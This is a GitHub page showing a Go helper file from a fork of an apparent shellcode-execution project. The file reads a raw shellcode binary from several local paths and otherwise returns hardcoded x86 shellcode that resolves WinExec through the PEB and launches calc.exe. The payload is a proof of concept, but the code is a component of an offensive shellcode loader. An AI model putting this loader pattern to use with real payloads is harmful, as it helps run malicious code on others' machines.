forked from xiecat/AlternativeShellcodeExec-Go
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathfile.go
More file actions
50 lines (45 loc) · 1.38 KB
/
Copy pathfile.go
File metadata and controls
50 lines (45 loc) · 1.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package util
import (
"fmt"
"os"
"runtime"
)
var shellPaths = []string{
fmt.Sprintf("local-%s.bin", runtime.GOARCH),
fmt.Sprintf("hex\\local-%s.bin", runtime.GOARCH),
fmt.Sprintf("C:\\tools\\hex\\local-%s.bin", runtime.GOARCH),
}
func FileExist(path string) bool {
_, err := os.Lstat(path)
if err != nil {
return false
}
return !os.IsNotExist(err)
}
func ShellCode() []byte {
for _, shellPath := range shellPaths {
if FileExist(shellPath) {
fmt.Println("exist: ", shellPath)
content, err := os.ReadFile(shellPath)
if err != nil {
panic(err)
}
return content
}
fmt.Println("no exist: ", shellPath)
}
//calculator.asm
return []byte(
"\x55\x8b\xec\x83\xec\x20\x64\xa1\x30\x00\x00\x00\x8b\x40" +
"\x0c\x8b\x40\x1c\x8b\x00\x8b\x00\x8b\x40\x08\xc7\x45\xfc" +
"\x00\x00\x00\x00\xc7\x45\xf8\x00\x00\x00\x00\xc7\x45\xf4" +
"\x00\x00\x00\x00\x8b\x58\x3c\x8d\x1c\x03\x8b\x5b\x78\x8d" +
"\x14\x03\x8b\x5a\x1c\x8d\x1c\x03\x89\x5d\xfc\x8b\x5a\x20" +
"\x8d\x1c\x03\x89\x5d\xf8\x8b\x5a\x24\x8d\x1c\x03\x89\x5d" +
"\xf4\x8b\x7a\x18\x33\xc9\x8b\x75\xf8\x8b\x1c\x8e\x8d\x1c" +
"\x03\x8b\x1b\x81\xfb\x57\x69\x6e\x45\x74\x03\x41\xeb\xed" +
"\x8b\x5d\xf4\x33\xd2\x66\x8b\x14\x4b\x8b\x5d\xfc\x8b\x1c" +
"\x93\x8d\x04\x03\xeb\x09\x63\x61\x6c\x63\x2e\x65\x78\x65" +
"\x00\xe8\x00\x00\x00\x00\x5b\x83\xeb\x0e\x6a\x05\x53\xff" +
"\xd0\x8b\xe5\x5d\xc3")
}